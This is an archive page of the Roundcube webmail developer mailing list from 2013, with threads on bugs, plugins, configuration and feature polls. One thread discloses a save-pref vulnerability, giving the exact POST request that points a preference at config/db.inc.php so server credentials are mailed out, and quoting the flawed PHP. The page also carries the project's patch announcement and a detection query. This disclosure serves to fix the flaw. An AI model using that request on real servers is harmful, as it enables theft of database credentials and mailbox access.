- Dev - Roundcube mailing lists

Re: [RCD] [Svn] [roundcube/roundcubemail] b099d1: Revert fix for #1489058 because it opened another IE8 focus issue
by Michael Heydekamp 02 May '13

02 May '13

Phew, you're really fast... :-) Couldn't test it yet, need to do a git-pull first. Will revert. Anyway, thanks a lot, most appreciated! Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany Am 02.05.2013 20:42, schrieb GitHub: > Branch: refs/heads/master > Home: https://github.com/roundcube/roundcubemail > Commit: b099d12965b1a430c64353ce58217f0305a0a3a7 > > https://github.com/roundcube/roundcubemail/commit/b099d12965b1a430c64353ce5… > Author: Aleksander Machniak <alec(a)alec.pl> > Date: 2013-05-02 (Thu, 02 May 2013) > > Changed paths: > M program/js/list.js > > Log Message: > ----------- > Revert fix for #1489058 because it opened another IE8 focus issue > > > > > _______________________________________________ > Roundcube SVN commits mailing list > svn(a)lists.roundcube.net > http://lists.roundcube.net/mailman/listinfo/svn

1 1

What does this Javascript error mean? (IE8)
by Michael Heydekamp 28 Apr '13

28 Apr '13

This Javascript error just occurred to me while composing a longer message: ------------------------------------------------------------------------------- > Benutzer-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C) > Zeitstempel: Fri, 26 Apr 2013 19:31:03 UTC > > > Meldung: Erlaubnis verweigert. > Zeile: 667 > Zeichen: 3 > Code: 0 > URI: http://www.xxxxxxxxx.xx/xxxxxxxx/skins/classic/functions.js?s=1362633182 ------------------------------------------------------------------------------- What does/can this mean and why does it occur? IE8 and RC 1.0-git [GIT 20130422.1409] Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

3 4

Getting message ID for selected message/message replied to
by Daniel Böhmer 23 Apr '13

23 Apr '13

Hello everyone, I've been using RC for years and now need to develop a plug-in for a customer. My plug-in opens a second window when a message is previewed or replied to. In both cases the URL of the new window refers to an external software which provides additional info to a given message ID. I already solved opening the second window after the right events. How to retrieve the message ID? - When a message is previewed I already get its UID which seems to be RC's own way of identifying messages. I need to "translate" that to the global message ID which can be used by external software. - When a message is replied to all information about the original message seems to be passed by the "id" parameter in the URL for the compositor. I find it even more difficult to retrieve the original message's ID here. I already spent some time listening to the right events and opening the 2nd window which is now working. Hopefully you'll be able to give me some hints how to get the message IDs. Kind regards Daniel Böhmer -- Daniel Böhmer, Diplominformatiker (BA) Freelance Software Developer Diese E-Mail ist mit GnuPG digital signiert. Wenn GnuPG nicht verwendet wird, bitte die Datei "signature.asc" einfach ignorieren. // This e-mail is digitally signed with GnuPG. If GnuPG is not used, please just ignore the file "signature.asc".

2 11

Roundcube Plugins, Separate Repositories, Config Files
by rodrigo 20 Apr '13

20 Apr '13

Based on what I see at http://plugins.roundcube.net/, and my experience with Composer, it seems like all plugins should have their own repository, and should be installed either with Composer or they can be handled via git submodules. Is there any particular reason the default set of included (but not activated) plugins has not been separated out from the main repository into repositories of their own? I would even argue that skins, aside from the default, should be separate repositories. My group manages our installation with git and it would make my life a ton easier if this were the case. I saw an answer to "[RCD] update.sh clobbering custom plugin configs in main.inc.php?" earlier today, suggesting that a config file within the plugin should be edited. Plugins are basically vendor code, wouldn't it make more sense to make a plugin_name.inc.php within /config, and have a plugin standard (in the form of a config grabber method) that grabs the appropriate config file? This way, the plugin could be updated by composer or git, and there'd be no worry about overwriting configs, or editing vendor code. It'd encourage plugin writers to keep their config separate from the roundcube config, because there'd be an easily accessible function for it. Quite happy to write/implement this myself, so long as the idea/direction is acceptable to the lead RC devs. Thoughts?

5 8

Duplicate users in database
by Glen Eustace 19 Apr '13

19 Apr '13

Having now updated from .0.8.4 to 0.9.0, I thought I'd do an audit of the users in the database and am quite surprised by the number of rows with the same username. I cannot see how these have come about. The last_logins in some cases are very close together and in others they are years apart. Any clues ? I am guessing there are not supposed to be duplicates. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Glen Eustace, GodZone Internet Services, a division of AGRE Enterprises Ltd., P.O. Box 8020, Palmerston North, New Zealand 4446 Ph: +64 6 357 8168, Fax: +64 6 357 8165, Mob: +64 27 542 4015 "A Ministry specialising in providing low-cost professional Internet Services to NZ Christian Churches, Ministries and Organisations"

2 2

update.sh clobbering custom plugin configs in main.inc.php?
by Daniel Kahn Gillmor 19 Apr '13

19 Apr '13

hi roundcube folks-- A group i work with is running roundcube with a couple plugins that need a bit of custom configuration which (up until now, at least) we have stored in config/main.inc.php. We found that upgrading a test instance from 0.8.6 to 0.9.0 via bin/update.sh rewrote the roundcube config and in the process it clobbered the custom variables in config/main.inc.php. is this a bug in bin/update.sh ? Or is this a bug in the plugins in question? should they be updated to be able to indicate which config settings should be preserved? Or should we not be storing custom plugin configuration information in config/main.inc.php? if they shouldn't be in config/main.inc.php, where should we store plugin configuration variables? thanks very much for roundcube, --dkg

2 1

new_user_dialog broken in 0.9
by Kelsey Cummings 18 Apr '13

18 Apr '13

It seems like the new_user_dialog plugin is broken in 0.9 - when enabled it prompts a new user correctly to complete the identity but clicking on save simply causes it to redisplay with the provided information. It does not display again if the page is refreshed. It isn't reporting an error in the logs and is exhibits when all other plugins are disabled. The behavior appears to be browser independent. Would devs rather see bugs like this brought to this list or posted to trac? -- Kelsey Cummings - kgc(a)corp.sonic.net sonic.net, inc. System Architect 2260 Apollo Way 707.522.1000 Santa Rosa, CA 95407

2 3

Error 500 with 0.9.0
by Glen Eustace 17 Apr '13

17 Apr '13

Hi, I am trying to upgrade from 0.8.4 to 0.9 in our dev environment. Most things seem to be fine but I am getting an Error 500 from the web server when trying to access 'Settings'. I cannot find where the error is logged or if it is logged at all. Nothing is written to the httpd error log and all I get in the access log is the result code of 500. Can someone give me a clue as to where to look for the errors. -- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Glen Eustace, GodZone Internet Services, a division of AGRE Enterprises Ltd., P.O. Box 8020, Palmerston North, New Zealand 4446 Ph: +64 6 357 8168, Fax: +64 6 357 8165, Mob: +64 27 542 4015 "A Ministry specialising in providing low-cost professional Internet Services to NZ Christian Churches, Ministries and Organisations"

2 2

Can't register on http://trac.roundcube.net/register
by Tom Sommer 16 Apr '13

16 Apr '13

Hi, I'm trying to register on trac to submit a bug report, but the registration link appears to be broken? Or am I missing something? :) Thanks -- Tom Sommer

2 3

Release / version number in CHANGELOG
by Jonas Meurer 11 Apr '13

11 Apr '13

Hi Roundcube Developers, I'm really impressed by quality and speed of development of roundcube. Thank you for the great software! I've a minor suggestion: would you mind adding the release/version number of current releases to the CHANGELOG file of release tarballs? Current practice is that sections with changes from former releases are introduced with 'RELEASE <NUMBER>', but changes from current release aren't introduced at all. It would be great if you could add an introduction line for current releases as well. Background is that we try to track new releases of manually installed software on our servers using a nagios check script. This script parses the changelog files with a regular expression and searches the projects download pages for new releases. Kind regards, jonas

4 4

security audit?
by Kelsey Cummings 09 Apr '13

09 Apr '13

I'm curious if a security audit/code review has been performed on RC in the past and, if not, is there any interested by the other commercial users here in sponsoring one? -- Kelsey Cummings - kgc(a)corp.sonic.net sonic.net, inc. System Architect 2260 Apollo Way 707.522.1000 Santa Rosa, CA 95407

1 0

Develompment Plugin Message Attachment
by tornis＠tornis.com.br 09 Apr '13

09 Apr '13

Hello Developers, I need a functionality message attachment to another message. For example: I'm writing a new post and would like to attach a message in my inbox or any other message that is in my mailbox. If someone interested in developing this plugin please contact tornis(a)tornis.com.br. We are willing to pay for development and provide for the community under GPL licensing. The following minimum requirements: 1 - Allow message attachment to a new message (similar to thunderbird) 2 - Allow View member the attached message in a new window 3 - Allow searching of messages to be attached 4 - Allow append multiple messages to a message Sorry for my English and thank you all. Rodrigo Tornis

2 1

HTML vs Text issues
by Michael Heydekamp 04 Apr '13

04 Apr '13

I'm referring to the multipart7alternative message of Manfred Usselmann in this list, 23.03.2013, 08:51. In the HTML part, the quote levels get incorrect upon replying (quoted and new text have the same quote level then, although they look ok when displaying the message), and there are blank lines in the quoted part of Manfred's message where they weren't in the original before. But the text part is even worse: The format is totally garbled, and even more worse, a lot of text is completely missing. Look at the line ... ------------------------------- > Yes, that's what we currently have. ------------------------------- ...for instance. Why is it formatted/wrapped this way if it is correct in the HTML part? And where is all the text gone? See images attached. Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 4

Subject empty upon replying?
by Michael Heydekamp 03 Apr '13

03 Apr '13

Hi there, is it deliberate that a reply to a message with the subject header ... -------------------------------------------------- Subject: Re: [TICKET #38797] Ankündigung Kündigung -------------------------------------------------- ... leaves the subject entirely empty?? Of course the subject does contain 8-bit chars and is therefore not encoded correctly (or to be more precise, it's not encoded at all), but is this a good reason to delete it completely upon replying? In the message view pane, the subject is displayed as: --------------------------------------- Re: [TICKET #38797] Ankndigung Kndigung --------------------------------------- The 8-bit chars are deleted there. Wouldn't it be better to replace them with "?"...? And the same could/should be done upon replying, IMO. Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

4 17

Charset declaration and display of text attachments
by Michael Heydekamp 02 Apr '13

02 Apr '13

How can I make sure that all of the three attachments to this post will be displayed correctly in Roundcube when clicking on the attachment link? Currently only the UTF-8 version will be displayed correctly. I'm not sure about how to deal with the Unicode version, but at least the plain text version is definitely lacking of a correct charset declaration (or better, of a charset declaration at all). As this charset can't be detected or known by any other than the user who is attaching the text file, I suggest that there should be a facility to select the appropriate charset - sometimes... But apart from that, I'm wondering which charset Roundcube is using at all when displaying the plain text file...? It is apparently not the local 8bit charset of my system (Windows-1252), as it should then being displayed this way: > ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¸ > ³ DOS Codepage 437 ³ > ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¾ But see yourself what the output is (image attached as well)... Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 4

possible bug in 0.9rc
by Cor Bosman 01 Apr '13

01 Apr '13

Hey all, just wondering if this could be a bug. If so, i'll add it to the tracker, else i'll fix my plugin. I got a report that my listcommands plugin starts throwing errors in 0.9 because in message_headers_output $p['headers']->others[$key] ends up being an array instead of a string. This is weird, because in the example sent to me, I see the following: List-Post: <mailto:users@foo.bar> But when you var_dump the data in the hook you see: "list-post"]=> array(2) { [0]=> string(22) "<mailto:users@foo.bar>" [1]=> string(22) "<mailto:users@foo.bar>" } My guess is that this may be because RC itself now asks for LIST-POST header, and my plugin adds that to the requested header set in imap_init. Now I can remove that, but I think RC shouldnt fetch the same content twice and add a duplicate to the header array. Or is this intended behavior? Regards, Cor

2 1

Security updates 0.8.6 and 0.7.3 for save-pref vulnerability
by Thomas Bruederli 29 Mar '13

29 Mar '13

After getting reports about a possible vulnerability of Roundcube which allows an attacker to modify its users preferences in a way that he/she can then read files from the server, we now published updated packages as well as patches that fix this security issue. Please update all your Roundcube installations with the new versions (0.9-rc2, 0.8.6, 0.7.4) or patch them with the published patches. Download the latest version from http://roundcube.net/download Patch for 0.9.x: http://ow.ly/jtQD0 Patch for 0.8.x: http://ow.ly/jtQHM Patch for 0.7.x: http://ow.ly/jtQK0 Patch for 0.6: http://ow.ly/jtQNd In order to find out whether one of your users has vulnerable preferences, you can run the following query on the Roundcube user database: SELECT * FROM users WHERE preferences LIKE '%generic_message_footer%' If this returns any results, you should at least clear the 'preferences' field of that user entry. Or better: entirely block the user because he or she most likely tried to exploit your system. And here's some background about the vulnerability: http://lists.roundcube.net/pipermail/dev/2013-March/022328.html Best regards, Thomas

5 12

zero day vulnerability (tested on v8.0 to 9.0)
by Sergey Sidlyarenko 28 Mar '13

28 Mar '13

Hacker first change value in user preference generic_message_footer to any file allowed to read roundcube (config/db.inc.php config/main.inc.php), after send herself message (with included config file). This allow view session crypto key, and db user and password. If at hosting installed phpmyadmin (mysql) or pgmyadmin (pgsql) and session saved in db, hacker get user mail login and password. Finded in Russian tech blog (http://habrahabr.ru/post/174423/). ------ POST /?_task=settings&_action=save-pref&check_request=&_check_request= HTTP/1.1" 200 1133 "http://mail.ddos-guard.net/?_task=mail" "Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0" "_token=0f7c9ae8a387cb0bc5ce563fa09fe172&_session=generic_message_footer&_name=generic_message_footer&_value=config/db.inc.php ------ index.php: else if ($RCMAIL->action == 'save-pref') { include INSTALL_PATH . 'program/steps/utils/save_pref.inc'; } ------ program/steps/utils/save_pref.inc: $name = get_input_value('_name', RCUBE_INPUT_POST); $value = get_input_value('_value', RCUBE_INPUT_POST); // save preference value $RCMAIL->user->save_prefs(array($name => $value)); //<--------- rewrite value // update also session if requested if ($sessname = get_input_value('_session', RCUBE_INPUT_POST)) { // Support multidimensional arrays... $vars = explode('/', $sessname); // ... up to 3 levels if (count($vars) == 1) $_SESSION[$vars[0]] = $value; else if (count($vars) == 2) $_SESSION[$vars[0]][$vars[1]] = $value; else if (count($vars) == 3) $_SESSION[$vars[0]][$vars[1]][$vars[2]] = $value; } $OUTPUT->reset(); $OUTPUT->send(); ------ program/steps/mail/sendmail.inc // generic footer for all messages if ($isHtml && !empty($CONFIG['generic_message_footer_html'])) { $footer = file_get_contents(realpath($CONFIG['generic_message_footer_html'])); //<----- load file from value path $footer = rcube_charset_convert($footer, RCMAIL_CHARSET, $message_charset); } else if (!empty($CONFIG['generic_message_footer'])) { $footer = file_get_contents(realpath($CONFIG['generic_message_footer'])); //<----- load file from value path $footer = rcube_charset_convert($footer, RCMAIL_CHARSET, $message_charset); if ($isHtml) $footer = '<pre>'.$footer.'</pre>'; } -- Sidlyarenko Sergey https://github.com/lefoyer

6 10

mis-typed attachment handling
by Kelsey Cummings 27 Mar '13

27 Mar '13

We getting ready to role out roundcube for our webmail platform and our testing ran into one issue so far that seems like a good idea to push upstream. I searched but didn't find any mention of this so please pardon in advance if this has already been discussed. One of our testers had an email with a pdf attachment that had a mime type of text/plain. Roundcube displays the pdf as text. We tested a few other clients and it looks like recent version of outlook and apple mail display the attachment as a pdf but thunderbird displays it as plain text so there isn't unanimous that a mail client should handle this either way. What is roundcubes opinion on attachments with incorrect mime types? There's a pretty good argument that a end user doesn't really care that whoever sent them an attachment used broken software to do it, particularly if they use another client that displays it correctly. -- Kelsey Cummings - kgc(a)corp.sonic.net sonic.net, inc. System Architect 2260 Apollo Way 707.522.1000 Santa Rosa, CA 95407

2 2

SVN list dead?
by Michael Heydekamp 26 Mar '13

26 Mar '13

Since March 20th, I've not seen any new messages in the SVN list. Although I know and I can confirm, that there have been commits since then. Hmm?? Cheers, -- Michael Heydekamp Co-Admin freexp.de Düsseldorf/Germany

2 1

Poll: Inline attachments on attachments list
by A.L.E.C 24 Mar '13

24 Mar '13

There's a question according to http://trac.roundcube.net/ticket/1488783. There are messages with related images. Normally, they are referenced in HTML bodies (parts), but not always. So, the question is: should we list such attachments on attachments list. We have a few possibilities: 1. Do not list any in text and html mode (current situation). 2. List only unreferred in text and html mode. 3. In text mode list all, in HTML mode list unreferred only (Thunderbird's way). 4. List all in text and html mode (only for completenes, I suppose we shouldn't ever choose this option). Implementing this as a user preference will be overcomplicated, we don't want to make it optional, we should choose one. So, what's your opinion? For now I have no strong opinion, but I'm somewhere between 1. and 2. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

5 15

Top-posting and signature below the quote
by A.L.E.C 24 Mar '13

24 Mar '13

According to short discussion in http://trac.roundcube.net/ticket/1489001 I see that it is possible to set top-posting with signature below the quote. It sounds confusing and useless. Now when we have "When replying" option (reply_mode) I propose to remove "When replying or forwarding place signature" option (sig_above). Signature position should be always below the reply text (not the quote) and reply_mode already defines this position. reply_mode=0 -> reply below the quote with sig below the reply text reply_mode=1 -> reply above the quote with sig below the reply text Any objections? -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

3 5

RC Logo Link
by patrick7 23 Mar '13

23 Mar '13

Hello there I have a small "feature request": Please link the logo left on the top to the startpage. ;) Regards patrick

1 0

Poll: HTML/Text switch vs. alternative part on attachments list
by A.L.E.C 23 Mar '13

23 Mar '13

So, now when we have nice HTML/Text switch (ability to toggle between html and plain text mode of message preview) we need to do something with "HTML message" attachment on attachments list. It looks redundant, or at least inconsistent. I see two solutions: 1. Don't add alternative parts to attachments list. Ie. there will be no "HTML message" on attachments list in case of a message with alternative parts. +1 from me. 2. In html mode add text part to attachments list, in text mode add html part to attachments list. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

5 4

Poll: Reply-All and Reply-To header
by A.L.E.C 23 Mar '13

23 Mar '13

You can check the behavior by clicking Reply All button (not Reply List) on this message. Example message from our mailing list contains headers: To: dev(a)lists.roundcube.net Reply-To: dev(a)lists.roundcube.net From: original(a)poster.tld So, current behavior is that you end up with one recipient dev(a)lists.roundcube.net in To field. Thunderbird for example, will add original(a)poster.tld in Cc field. So, the problem is related to Reply-To header handling. Poll: 1. Keep current behavior. 2. If To: and Reply-To: are the same and From: is different - add From: address to Cc field. I prefer current solution (1). Because I think that if Reply-To is defined a senders intention is to not receive replies to his From: address, no matter if Reply, Reply-All or Reply-List is used. I however understand that "private reply" to poster is sometimes wanted. -- Aleksander 'A.L.E.C' Machniak LAN Management System Developer [http://lms.org.pl] Roundcube Webmail Developer [http://roundcube.net] --------------------------------------------------- PGP: 19359DC1 @@ GG: 2275252 @@ WWW: http://alec.pl

7 11

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

Dev